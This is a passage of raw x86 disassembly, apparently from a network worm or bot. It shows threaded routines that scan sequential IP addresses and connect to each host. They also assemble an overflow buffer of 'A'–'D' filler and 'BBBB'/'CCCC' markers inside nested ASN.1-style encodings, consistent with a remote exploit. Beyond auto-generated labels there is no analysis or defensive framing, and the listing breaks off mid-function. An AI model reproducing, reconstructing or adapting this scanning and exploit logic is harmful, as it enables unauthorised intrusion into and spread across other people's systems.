		call	sub_413B5E
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40B50B:				; CODE XREF: sub_40B43D+63j
					; sub_40B43D+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_423078
		mov	edi, ebx
		mov	dword_4C994C[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40B5D8


loc_40B529:				; CODE XREF: sub_40B43D+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_433F8C
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40A203
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43C744[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40B229
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40B5A3


loc_40B598:				; CODE XREF: sub_40B43D+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_40B5CA
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_40B598
; ---------------------------------------------------------------------------


loc_40B5A3:				; CODE XREF: sub_40B43D+159j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_433F54
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_413B5E
		add	esp, 10h


loc_40B5CA:				; CODE XREF: sub_40B43D+15Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40B529


loc_40B5D8:				; CODE XREF: sub_40B43D+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_40B682
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep


loc_40B5ED:				; CODE XREF: sub_40B43D+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4C9948[eax*8]
		push	eax
		call	dword_4C9888	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_433F14
		push	eax
		call	sub_417D96
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40B63B
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_408C5D
		add	esp, 14h


loc_40B63B:				; CODE XREF: sub_40B43D+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_413B5E
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_4C994C[eax*8], ebx
		call	esi	; Sleep
		push	0Bh
		call	sub_40A44B
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40B672
		push	offset dword_4CB948
		call	dword_4230DC	; RtlDeleteCriticalSection


loc_40B672:				; CODE XREF: sub_40B43D+228j
		push	[ebp+var_2C]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_40B682:				; CODE XREF: sub_40B43D+19Ej
					; sub_40B43D+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_4C994C[eax*8], 1
		jnz	loc_40B5ED
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_40B682
sub_40B43D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B69C	proc near		; DATA XREF: sub_40B769+7Bo
					; sub_40B85A+7Bo

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4C9800	; htons
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4C987C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40B75A
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4C97AC	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43C74C[ecx], esi
		jz	short loc_40B75A
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4C9888	; inet_ntoa
		push	eax
		mov	edi, offset dword_4CC30C
		push	offset unk_433FF4
		push	edi
		call	sub_417D96
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_408C5D
		push	edi
		call	sub_413B5E
		add	esp, 28h


loc_40B75A:				; CODE XREF: sub_40B69C+5Dj
					; sub_40B69C+7Ej
		push	esi
		call	dword_4C9894	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40B69C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40B769	proc near		; DATA XREF: sub_401AC7+576Do

var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B4]
		rep movsd
		mov	esi, dword_423078
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40B797:				; CODE XREF: sub_40B769+ECj
		push	[ebp+var_30]
		push	[ebp+var_20]
		call	dword_4C9888	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_134]
		push	offset unk_43401C
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_134]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_43C540
		push	eax
		call	sub_417B00
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B4]
		push	edi
		push	eax
		push	offset sub_40B69C
		push	edi
		push	edi
		call	dword_42307C	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40B803


loc_40B7F8:				; CODE XREF: sub_40B769+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_40B803
		push	32h
		call	esi	; Sleep
		jmp	short loc_40B7F8
; ---------------------------------------------------------------------------


loc_40B803:				; CODE XREF: sub_40B769+8Dj
					; sub_40B769+92j
		push	[ebp+var_4]
		call	dword_423068	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_418810
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4C9738	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4C97FC	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_418810
		add	esp, 0Ch
		jmp	loc_40B797
sub_40B769	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B85A	proc near		; DATA XREF: sub_401AC7+5483o

var_130		= byte ptr -130h
var_B0		= dword	ptr -0B0h
var_AC		= byte ptr -0ACh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_423078
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40B888:				; CODE XREF: sub_40B85A+BCj
		push	[ebp+var_2C]
		push	[ebp+var_1C]
		call	dword_4C9888	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_434070
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_20]
		imul	eax, 234h
		add	eax, offset dword_43C540
		push	eax
		call	sub_417B00
		add	esp, 1Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_40B69C
		push	edi
		push	edi
		call	dword_42307C	; CreateThread
		cmp	eax, edi
		mov	[ebp+arg_0], eax
		jz	short loc_40B8F4


loc_40B8E9:				; CODE XREF: sub_40B85A+98j
		cmp	[ebp+var_8], edi
		jnz	short loc_40B8F4
		push	32h
		call	esi	; Sleep
		jmp	short loc_40B8E9
; ---------------------------------------------------------------------------


loc_40B8F4:				; CODE XREF: sub_40B85A+8Dj
					; sub_40B85A+92j
		push	[ebp+arg_0]
		call	dword_423068	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		mov	eax, [ebp+var_2C]
		cmp	eax, [ebp+var_28]
		jz	short loc_40B91B
		inc	[ebp+var_2C]
		jmp	loc_40B888
; ---------------------------------------------------------------------------


loc_40B91B:				; CODE XREF: sub_40B85A+B7j
		push	[ebp+var_1C]
		call	dword_4C9888	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_434044
		push	eax
		call	sub_417D96
		push	edi
		lea	eax, [ebp+var_130]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		push	[ebp+var_B0]
		call	sub_408C5D
		push	[ebp+var_20]
		call	sub_40A51F
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40B85A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B967	proc near		; CODE XREF: sub_40BBDB+Ep
					; sub_40BBDB+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40B967	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B971	proc near		; CODE XREF: sub_40BBDB+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_417A2B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40B9A3
		push	ebx
		push	0
		push	edi
		call	sub_417AA0
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_418810
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40B9A3:				; CODE XREF: sub_40B971+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40B971	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9AB	proc near		; CODE XREF: sub_40BAA5+18p
					; sub_40BB1F+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_417A2B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40B9F7
		push	edi
		push	0
		push	esi
		call	sub_417AA0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_418810
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_418810
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40B9F7:				; CODE XREF: sub_40B9AB+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40B9AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BA00	proc near		; CODE XREF: sub_40BAA5+5Ep
					; sub_40BAA5+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40BA10
		push	eax
		call	sub_4177C1
		pop	ecx


loc_40BA10:				; CODE XREF: sub_40BA00+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40BA00	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BA19	proc near		; CODE XREF: sub_40BAA5+20p
					; sub_40BB80+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40BA46
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_417A2B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40BA4A


loc_40BA46:				; CODE XREF: sub_40BA19+Dj
		xor	al, al
		jmp	short loc_40BAA1
; ---------------------------------------------------------------------------


loc_40BA4A:				; CODE XREF: sub_40BA19+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_417AA0
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40BA6F
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40BA89
; ---------------------------------------------------------------------------


loc_40BA6F:				; CODE XREF: sub_40BA19+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40BA89:				; CODE XREF: sub_40BA19+54j
		push	eax
		call	sub_418810
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_4177C1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40BAA1:				; CODE XREF: sub_40BA19+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40BA19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BAA5	proc near		; CODE XREF: sub_40BBDB+89p
					; sub_40BBDB+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4C96CC
		call	sub_40B9AB
		lea	ecx, [ebp+var_8]
		call	sub_40BA19
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_417A2B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40BADF
		xor	al, al
		jmp	short loc_40BB1B
; ---------------------------------------------------------------------------


loc_40BADF:				; CODE XREF: sub_40BAA5+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_417AA0
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_418810
		add	esp, 18h
		mov	ecx, esi
		call	sub_40BA00
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40BA00
		mov	al, 1


loc_40BB1B:				; CODE XREF: sub_40BAA5+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40BAA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB1F	proc near		; CODE XREF: sub_40BB53+14p
					; sub_40BB70+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40B9AB
		mov	ecx, esi
		call	sub_40BA00
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40BB1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BB53	proc near		; CODE XREF: sub_40BBDB+F0p
					; sub_40BBDB+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_4176F0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40BB1F
		pop	esi
		retn	4
sub_40BB53	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BB70	proc near		; CODE XREF: sub_40BBBC+Bp
					; sub_40BBDB+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40BB1F
		retn	8
sub_40BB70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB80	proc near		; CODE XREF: sub_40BBBC+16p
					; sub_40BBDB+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40BA19
		test	al, al
		jz	short loc_40BBB9
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_4282BC
		call	sub_40B9AB
		mov	ecx, esi
		call	sub_40BA00
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40BBB9:				; CODE XREF: sub_40BB80+Fj
		pop	esi
		leave
		retn
sub_40BB80	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BBBC	proc near		; CODE XREF: sub_40BBDB+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40BB70
		test	al, al
		jz	short loc_40BBD7
		mov	ecx, esi
		call	sub_40BB80


loc_40BBD7:				; CODE XREF: sub_40BBBC+12j
		pop	esi
		retn	8
sub_40BBBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BBDB	proc near		; CODE XREF: .nsp0:0040C462p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40B967
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40BF2F
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40BF2F
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40B967
		lea	ecx, [ebp+var_20]
		call	sub_40B967
		lea	ecx, [ebp+var_50]
		call	sub_40B967
		lea	ecx, [ebp+var_18]
		call	sub_40B967
		lea	ecx, [ebp+var_40]
		call	sub_40B967
		lea	ecx, [ebp+var_38]
		call	sub_40B967
		lea	ecx, [ebp+var_28]
		call	sub_40B967
		push	4
		push	offset dword_4340A8
		lea	ecx, [ebp+var_30]
		call	sub_40BB1F
		push	3
		push	offset dword_4340B0
		lea	ecx, [ebp+var_30]
		call	sub_40BB1F
		lea	ecx, [ebp+var_30]
		call	sub_40BAA5
		lea	ecx, [ebp+var_30]
		call	sub_40BB80
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40BB1F
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40BB1F
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40BB1F
		lea	ecx, [ebp+var_20]
		call	sub_40BAA5
		push	offset loc_434428
		lea	ecx, [ebp+var_50]
		call	sub_40BB53
		lea	ecx, [ebp+var_50]
		call	sub_40BAA5
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40B971
		lea	ecx, [ebp+var_58]
		call	sub_40BAA5
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40BBBC
		lea	ecx, [ebp+var_58]
		call	sub_40BA00
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40BB53
		push	4
		push	offset dword_4340B4
		lea	ecx, [ebp+var_18]
		call	sub_40BB1F
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40BB1F
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40BB1F
		lea	ecx, [ebp+var_18]
		call	sub_40BAA5
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40BB70
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40BB70
		lea	ecx, [ebp+var_40]
		call	sub_40BB80
		lea	ecx, [ebp+var_18]
		call	sub_40BA00
		lea	ecx, [ebp+var_50]
		call	sub_40BA00
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40BB70
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40BB70
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40BB70
		lea	ecx, [ebp+var_38]
		call	sub_40BB80
		lea	ecx, [ebp+var_20]
		call	sub_40BA00
		lea	ecx, [ebp+var_30]
		call	sub_40BA00
		lea	ecx, [ebp+var_40]
		call	sub_40BA00
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40BB1F
		lea	ecx, [ebp+var_28]
		call	sub_40BAA5
		push	2
		push	offset dword_43441C
		lea	ecx, [ebp+var_28]
		call	sub_40BB1F
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40BB70
		lea	ecx, [ebp+var_28]
		call	sub_40BB80
		lea	ecx, [ebp+var_38]
		call	sub_40BA00
		lea	ecx, [ebp+var_10]
		call	sub_40B967
		lea	ecx, [ebp+var_8]
		call	sub_40B967
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40BB70
		lea	ecx, [ebp+var_10]
		call	sub_40BA19
		lea	ecx, [ebp+var_28]
		call	sub_40BA00
		push	offset dword_434418
		lea	ecx, [ebp+var_8]
		call	sub_40BB53
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40BB70
		lea	ecx, [ebp+var_8]
		call	sub_40BA19
		lea	ecx, [ebp+var_10]
		call	sub_40BA00
		push	offset a0_0	; "0"
		lea	ecx, [ebp+var_10]
		call	sub_40BB53
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40BB70
		lea	ecx, [ebp+var_10]
		call	sub_40BA19
		lea	ecx, [ebp+var_8]
		call	sub_40BA00
		push	offset dword_43440C
		lea	ecx, [ebp+var_8]
		call	sub_40BB53
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40BB70
		lea	ecx, [ebp+var_8]
		call	sub_40BA19
		lea	ecx, [ebp+var_10]
		call	sub_40BA00
		push	(offset	loc_434407+1)
		lea	ecx, [ebp+var_48]
		call	sub_40BB53
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40BB70
		lea	ecx, [ebp+var_8]
		call	sub_40BA00
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40BF3D
; ---------------------------------------------------------------------------


loc_40BF2F:				; CODE XREF: sub_40BBDB+1Bj
					; sub_40BBDB+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40BF3D:				; CODE XREF: sub_40BBDB+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40BBDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF41	proc near		; CODE XREF: sub_40C005+A1p
					; sub_40C005+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_42320C	; select
		cmp	eax, edi
		jnz	short loc_40BFA8
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_42226E	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40BFAC


loc_40BFA8:				; CODE XREF: sub_40BF41+54j
		xor	eax, eax
		jmp	short loc_40BFBC
; ---------------------------------------------------------------------------


loc_40BFAC:				; CODE XREF: sub_40BF41+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4C9818	; recv


loc_40BFBC:				; CODE XREF: sub_40BF41+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40BF41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFC0	proc near		; CODE XREF: sub_40C005+81p
					; sub_40C005+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4C97FC	; htonl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4C984C	; send
		cmp	eax, 4
		jz	short loc_40BFEA
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40BFEA:				; CODE XREF: sub_40BFC0+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4C984C	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
